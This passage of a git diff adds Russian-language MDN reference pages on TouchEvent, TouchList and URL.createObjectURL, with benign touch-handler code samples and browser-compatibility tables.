+<p><span style="">Внедрение новых механизмов ввода усложняет обработку всех возможных событий, таких как события клавиатуры, мыши, пера, касаний. Чтобы помочь решить эту проблему, </span><a href="http://www.w3.org/TR/pointerevents/">стандарт "Pointer Events"</a><span style=""> определяет события и связанные с ними интерфейсы для обработки ввода с таких указывающих устройств, как мышь, перо, сенсорный экран и т.д. То есть, абстрактный <em>указатель</em> создаёт унифицированную модель ввода, которая может представлять точку контакта пальца, пера/стилуса или мыши. Подробнее в MDN-статье <a href="/ru/docs/Web/API/Pointer_events">События указателя</a>.</span></p>
+
+<p>Модель событий указателя может упростить обработку разных способов ввода, поскольку указатель представляет ввод с любого устройства. В дополнение к этому, типы событий указателя очень похожи на типы событий мыши (например, <code>pointerdown</code> <code>pointerup</code>), таким образом, код для обработки событий указателя полностью совпадает с кодом обработки ввода с помощью мыши.</p>
+
+<p>Статус реализации событий указателя в браузерах <a href="/ru/docs/">относительно высок</a>, поскольку Chrome, Firefox, IE11 и Edge имеют полные реализации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующие документы описывают, как использовать события касаний и включают код с примерами</p>
+
+<ul>
+ <li>{{domxref("Touch_events","События касаний")}}</li>
+ <li><a href="https://developers.google.com/web/fundamentals/design-and-ui/input/touch/touch-events">Реализация кастомных жестов</a></li>
+ <li><a href="http://www.javascriptkit.com/javatutors/touchevents.shtml">Введение в события касаний в JavaScript</a></li>
+ <li><a href="http://www.codicode.com/art/easy_way_to_add_touch_support_to_your_website.aspx">Добавление поддержки сенсорных экранов на сайта (простой способ)</a></li>
+</ul>
+
+<p>Демонстрация событий касания:</p>
+
+<ul>
+ <li><a href="https://rbyers.github.io/paint.html">Paint Program (by Rick Byers)</a></li>
+ <li><a href="http://patrickhlauke.github.io/touch/">Touch/pointer tests and demos (by Patrick H. Lauke)</a></li>
+</ul>
+
+<h2 id="Сообщество">Сообщество</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/touch-events">Группа сообщества Событий касания</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/public-touchevents/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #touchevents IRC channel</a></li>
+</ul>
+
+<h2 id="Связанные_темы_и_источники">Связанные темы и источники</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/pointerevents/">Стандарт "Pointer Events"</a></li>
+</ul>
diff --git a/files/ru/web/api/touchevent/altkey/index.html b/files/ru/web/api/touchevent/altkey/index.html
new file mode 100644
index 0000000000..2ec99f56f9
--- /dev/null
+++ b/files/ru/web/api/touchevent/altkey/index.html
@@ -0,0 +1,68 @@
+---
+title: TouchEvent.altKey
+slug: Web/API/TouchEvent/altKey
+translation_of: Web/API/TouchEvent/altKey
+---
+<p>{{APIRef("Touch Events") }}</p>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Логическое ({{jsxref("Boolean")}}) значение, показывающее, была ли активирована клавиша <kbd>alt</kbd> (Alternate), когда событие касания было создано. Если клавиша <kbd>alt</kbd> активирована, значение равно <code>true</code>. В противном случае оно равно<code>false</code>.</p>
+
+<p>Данное свойство предназначено {{readonlyInline}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>altEnabled</em> = <em>touchEvent</em>.altKey;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>altEnabled</code></dt>
+ <dd><code>true</code> если клавиша <kbd>alt</kbd> активирована для данного события; и <code>false</code> если нет.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данный пример демонстрирует доступ к свойствам клавиш-модификаторов события {{domxref("TouchEvent")}}: {{domxref("TouchEvent.altKey")}}, {{domxref("TouchEvent.ctrlKey")}}, {{domxref("TouchEvent.metaKey")}} и {{domxref("TouchEvent.shiftKey")}}.</p>
+
+<p>В фрагменте кода ниже обработчик события {{event("touchstart")}} логирует <span class="tlid-translation translation" lang="ru"><span title="">состояние клавиш-модификаторов события</span></span>.</p>
+
+<pre class="brush: js">someElement.addEventListener('touchstart', function(e) {
+   // Log the state of this event's modifier keys
+   console.log("altKey = " + e.altKey);
+   console.log("ctrlKey = " + e.ctrlKey);
+   console.log("metaKey = " + e.metaKey);
+   console.log("shiftKey = " + e.shiftKey);
+}, false);
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-TouchEvent-altKey')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-altKey')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.TouchEvent.altKey")}}</p>
diff --git a/files/ru/web/api/touchevent/changedtouches/index.html b/files/ru/web/api/touchevent/changedtouches/index.html
new file mode 100644
index 0000000000..0d710b6ad7
--- /dev/null
+++ b/files/ru/web/api/touchevent/changedtouches/index.html
@@ -0,0 +1,133 @@
+---
+title: TouchEvent.changedTouches
+slug: Web/API/TouchEvent/changedTouches
+translation_of: Web/API/TouchEvent/changedTouches
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>{{ domxref("TouchList") }} список точек касания (обьекта {{domxref("Touch")}}), <span id="result_box" lang="ru"><span>смысл которых зависит от типа события</span></span>:</p>
+
+<ul>
+ <li>Для события <code>touchstart</code>, это список точек касания, в которых появилось взаимодействие с поверхностью экрана.</li>
+ <li>Для события <code>touchmove</code>,  это список точек касания, которые изменились с момента последнего события.</li>
+ <li>Для события <code>touchend</code>, это список точек касания, на которых прекратилось взаимодействие с поверхностью экрана (т. е. набор точек,  где прервалось касание пальцами).</li>
+</ul>
+
+<p>Это свойство предназначено {{readonlyInline}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>changes</em> = <em>touchEvent</em>.changedTouches;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>changes</code></dt>
+ <dd>Список {{ domxref("TouchList") }} обьекта {{ domxref("Touch") }} в котором содержатся все точки касания для данного события.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонстрирует свойство {{domxref("TouchEvent.changedTouches")}} обьекта  {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.changedTouches")}} это — обьект {{domxref("TouchList")}}, который содержит обьект {{domxref("Touch")}} для каждой точки, где произошло событие.</p>
+
+<p>В этом фрагменте кода обработчик события {{event("touchmove")}} выполняет перебор списка  <code>changedTouches</code> и выводит в консоль <span id="result_box" lang="ru"><span>идентификатор каждой точки касания, где произошло изменение с последнего события.</span></span></p>
+
+<pre class="brush: js">someElement.addEventListener('touchmove', function(e) {
+   // Iterate through the list of touch points that changed
+   // since the last event and print each touch point's identifier.
+   for (var i=0; i &lt; e.changedTouches.length; i++) {
+     console.log("changedTouches[" + i + "].identifier = " + e.changedTouches[i].identifier);
+   }
+}, false);
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-TouchEvent-changedTouches')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-changedTouches')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] События касания были добавлены в Gecko 18.0, но затем удалены в 24.0 {{geckoRelease("24.0")}} в настольной версии Firefox из-за проблем совместимости ({{bug(888304)}}).</p>
+
+<p>[2] Начиная с Gecko 52.0, поддержка событий касания была восстановлена для настольных платформ на базе Windows.</p>
diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html
new file mode 100644
index 0000000000..761204b552
--- /dev/null
+++ b/files/ru/web/api/touchevent/index.html
@@ -0,0 +1,145 @@
+---
+title: TouchEvent
+slug: Web/API/TouchEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - touch
+translation_of: Web/API/TouchEvent
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p>Интерфейс <strong><code>TouchEvent</code></strong> отражает событие {{domxref("UIEvent")}}, возникающее при изменении состояния касаний к сенсорной поверхности. К таким поверхностям можно отнести, например, сенсорные экраны или трекпады. Событие может описывать одну или несколько точек касания экрана и включает поддержку обнаружения движения, добавление и удаление точек касаний и так далее.</p>
+
+<p>Каждое прикосновение представлено объектом {{ domxref("Touch") }}, который содержит данные о позиции, размере, форме, степени давления и целевом элементе. Список прикосновений представлен объектом {{ domxref("TouchList") }}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt>
+ <dd>Создает экземпляр <code>TouchEvent</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс наследует свойства своих предков, {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("TouchEvent.altKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>alt</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}</dt>
+ <dd>Список {{ domxref("TouchList") }}, со всеми объектами {{ domxref("Touch") }}, представляющими отдельные точки касания, состояние которых изменилось между предыдущим событием касания и текущим.</dd>
+ <dt>{{ domxref("TouchEvent.ctrlKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>ctrl</kbd>, когда произошло событие касания</dd>
+ <dt>{{ domxref("TouchEvent.metaKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>meta</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.shiftKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>shift</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.targetTouches") }}{{readonlyInline}}</dt>
+ <dd>Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими <span class="tlid-translation translation" lang="ru"><span title="">текущие точки касания с сенсорной поверхностью,</span></span> которые находятся на одном и том же целевом элементе target.</dd>
+ <dt>{{ domxref("TouchEvent.touches") }} {{readonlyInline}}</dt>
+ <dd>Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими текущие точки касания с сенсорной поверхностью, вне зависимости от целевого элемента и статуса.</dd>
+ <dt>{{domxref("TouchEvent.rotation")}} {{non-standard_inline()}} {{readonlyInline}}</dt>
+ <dd>Изменение угла поворота (в градусах) с момента начала события. Положительные значения указывают на вращение по часовой стрелке, отрицательные - против часовой стрелки. Начальное значение <code>0.0</code></dd>
+ <dt>{{domxref("TouchEvent.scale")}} {{non-standard_inline()}} {{readonlyInline}}</dt>
+ <dd>Расстояние между двумя цифрами с момента начала события. Является числом с плавающей точкой, отражающим расстояние между двумя цифрами в начале события. Значения ниже 1.0 указывают на щипок (уменьшение зума), больше 1.0 - увеличение. Начальное значение: <code>1.0</code></dd>
+</dl>
+
+<h2 id="Типы_событий_касания">Типы событий касания</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Существует несколько типов событий, которые могут происходить в ответ на касания</span></span>. О<span class="tlid-translation translation" lang="ru"><span title="">пределить, какое именно событие произошло, можно с помощью свойства </span></span>{{ domxref("event.type", "TouchEvent.type") }}.</p>
+
+<h3 id="domxrefElementtouchstart_event_touchstart">{{domxref("Element/touchstart_event", "touchstart")}}</h3>
+
+<p>Происходит, когда пользователь касается сенсорной поверхности. Целью события будет являться экземпляр {{ domxref("Element") }}, которого коснулись.</p>
+
+<h3 id="domxrefElementtouchend_event_touchend">{{domxref("Element/touchend_event", "touchend")}}</h3>
+
+<p>Происходит, когда пользователь удаляет точку касания поверхности (убирает палец или стилус с поверхности). Также это событие Происходит, если точка касания уходит за границы поверхности; например, если палец пользователя выходит за границу экрана.</p>
+
+<p>Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p>
+
+<p>Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p>
+
+<h3 id="domxrefElementtouchmove_event_touchmove">{{domxref("Element/touchmove_event", "touchmove")}}</h3>
+
+<p>Происходит, когда пользователь двигает точку касания по поверхности. Цель события - тот же экземпляр {{ domxref("element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p>
+
+<p>Это событие также возникает, если изменилось значение радиуса, угла вращения или силы нажатия в точке касания.</p>
+
+<div class="note"><strong>Примечание:</strong> Промежуток времени, в течении которого возникают события <code>touchmove</code>, зависит от конкретного браузера, а также может сильно зависеть от возможностей устройства пользователя. Вам не следует полагаться на конкретную частоту возникновения этих событий.</div>
+
+<h3 id="touchcancel_event" name="touchcancel_event">{{domxref("Element/touchcancel_event", "touchcancel")}}</h3>
+
+<p>Происходит, если точка касания была по какой-либо причине удалена. Существует несколько возможных причин, почему это может произойти (и конкретные причины могут разниться от устройства к устройству, от браузера к браузеру):</p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Произошло какое-то событие, отменившее прикосновение;</span> <span title="">это может произойти, если во время взаимодействия появляется модальное окно</span></span>.</li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Точка касания покинула окно документа и переместилась в область пользовательского интерфейса браузера, подключаемого модуля или другого внешнего содержимого</span></span>.</li>
+ <li>Пользователь задал больше точек касания на экране, чем поддерживается, в этом случае наиболее ранние точки {{ domxref("Touch") }} в списке {{ domxref("TouchList") }} будут отменены.</li>
+</ul>
+
+<h3 id="Использование_addEventListener_и_preventDefault">Использование addEventListener() и preventDefault()</h3>
+
+<p>Важно отметить, что во многих случаях происходят и события касаний, и события мыши (чтобы код, не использующий касания, мог продолжать взаимодействовать с пользователем). Если вы используете события касания, вам следует вызывать {{domxref("Event.preventDefault","preventDefault()")}} для предотвращения отправки событий мыши.</p>
+
+<p>Исключением из этого правила является браузер Chrome, начиная с версии 56 (настольный, Chrome для android, и android webview), в которой значение по-умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code> и вызовы метода {{domxref("Event.preventDefault","preventDefault()")}} не требуются. Чтобы переопределить такое поведение, просто установите значение опции <code>passive</code> равным <code>false</code> как показано в примере ниже. Это изменение <span class="tlid-translation translation" lang="ru"><span title="">запрещает обработчику блокировать отрисовку страницы во время прокрутки пользователем</span></span>. Демонстрация этого доступна на сайте <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">Google Developer</a>.</p>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchstart")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchend")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchmove")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchcancel")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Смотрите <a href="/en/DOM/Touch_events#Example" title="en/DOM/Touch events#Example">пример в основной статье о событиях касания</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены глобальные атрибуты обработчиков <code>ontouchstart</code>, <code>ontouchend</code>, <code>ontouchmove</code>, <code>ontouchend</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.TouchEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{domxref("GestureEvent")}}</li>
+ <li>{{domxref("MSGestureEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/touchevent/touches/index.html b/files/ru/web/api/touchevent/touches/index.html
new file mode 100644
index 0000000000..090fa66e70
--- /dev/null
+++ b/files/ru/web/api/touchevent/touches/index.html
@@ -0,0 +1,68 @@
+---
+title: TouchEvent.touches
+slug: Web/API/TouchEvent/touches
+translation_of: Web/API/TouchEvent/touches
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><code><strong>touches</strong></code> это доступный только для чтения список {{ domxref("TouchList") }}, в котором перечислены все объекты {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}.</p>
+
+<p>Вы можете воспринимать это как перечисление отдельных пальцев, которые могут быть идентифицированы при касании экрана.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>touches</em> = <em>touchEvent</em>.touches;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>touches</code></dt>
+ <dd>Список {{ domxref("TouchList") }} всех объектов {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}. </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонтсрирует свойство {{domxref("TouchEvent.touches")}} объекта {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.touches")}} это объект {{domxref("TouchList")}}, который содержит список объектов {{domxref("Touch")}} для каждой активной точки контакта с сенсорной поверхностью.</p>
+
+<p>В следующем фрагменте кода обработчик события {{event("touchstart")}} проверяет длину списка {{domxref("TouchEvent.touches")}} для определения количества точек касаний, которые были активированы, а затем вызывает разные обработчики в зависимости от количества таких точек.</p>
+
+<pre class="brush: js notranslate">someElement.addEventListener('touchstart', function(e) {
+   // Вызов определённого обработчика, в зависимости от
+   // количества точек касания
+   switch (e.touches.length) {
+     case 1: handle_one_touch(e); break;
+     case 2: handle_two_touches(e); break;
+     case 3: handle_three_touches(e); break;
+     default: console.log("Not supported"); break;
+   }
+ }, false);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#dom-touchevent-touches')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Non-stable version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-touches')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.TouchEvent.touches")}}</p>
diff --git a/files/ru/web/api/touchlist/index.html b/files/ru/web/api/touchlist/index.html
new file mode 100644
index 0000000000..db1c5b0400
--- /dev/null
+++ b/files/ru/web/api/touchlist/index.html
@@ -0,0 +1,63 @@
+---
+title: TouchList
+slug: Web/API/TouchList
+translation_of: Web/API/TouchList
+---
+<div>{{ APIRef("Touch Events") }}</div>
+
+<p>Интерфейс <strong><code>TouchList</code></strong> представляет собой список точек касаний сенсорной поверхности. Например, если пользователь коснулся сенсорной поверхности (такой как экран или трекпад) тремя пальцами, соответствующий объект <code>TouchList</code> будет содержать по одному объекту {{domxref("Touch")}} для каждого пальца, всего три объекта.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.length")}} {{readonlyInline}}</dt>
+ <dd>Количество объектов {{domxref("Touch")}} в <code>TouchList</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.identifiedTouch()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает первый объект {{domxref("Touch")}} из списка, чей идентификатор соответствует заданному значению.</dd>
+ <dt>{{domxref("TouchList.item()")}}</dt>
+ <dd>Возвращает объект {{domxref("Touch")}}, находящийся в списке по указанному индексу</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>С примером можно ознакомиться в основной статье про <a href="/ru/docs/Web/API/Touch_events">События касаний (тач-события)</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Первое упоминание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+
+
+<p>{{Compat("api.TouchList")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Touch_events">События касаний (тач-события)</a></li>
+ <li>{{domxref("Document.createTouchList()")}}</li>
+</ul>
diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..bff6b425d5
--- /dev/null
+++ b/files/ru/web/api/url/createobjecturl/index.html
@@ -0,0 +1,66 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+translation_of: Web/API/URL/createObjectURL
+---
+<p>{{ApiRef("URL")}}{{SeeCompatTable}}</p>
+
+<h2 id="Определение">Определение</h2>
+
+<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>objectURL</em> = URL.createObjectURL(<em>blob</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><em>blob</em></dt>
+</dl>
+
+<dl>
+ <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Смотрите <a href="/en-US/docs/Using_files_from_web_applications#Example_Using_object_URLs_to_display_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Using object URLs to display images</a>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>При каждом вызове <code>createObjectURL()</code>, создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-createObjectURL', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.URL.createObjectURL")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+</ul>
diff --git a/files/ru/web/api/url/index.html b/files/ru/web/api/url/index.html
new file mode 100644
index 0000000000..7ba8f09324
--- /dev/null
+++ b/files/ru/web/api/url/index.html
@@ -0,0 +1,119 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - Experimental
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/URL
+---
+<div>{{ApiRef("URL API")}} {{SeeCompatTable}}</div>
+
+<p>The <strong><code>URL</code></strong><strong> </strong>interface represent an object providing static methods used for creating object URLs.</p>
+
+<p>When using a user agent where no constructor has been implemented yet, it is possible to access such an object using the {{domxref("Window.URL")}} properties (prefixed with Webkit-based browser as <code>Window.webkitURL</code>).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Implements properties defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the whole URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("URLUtils.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
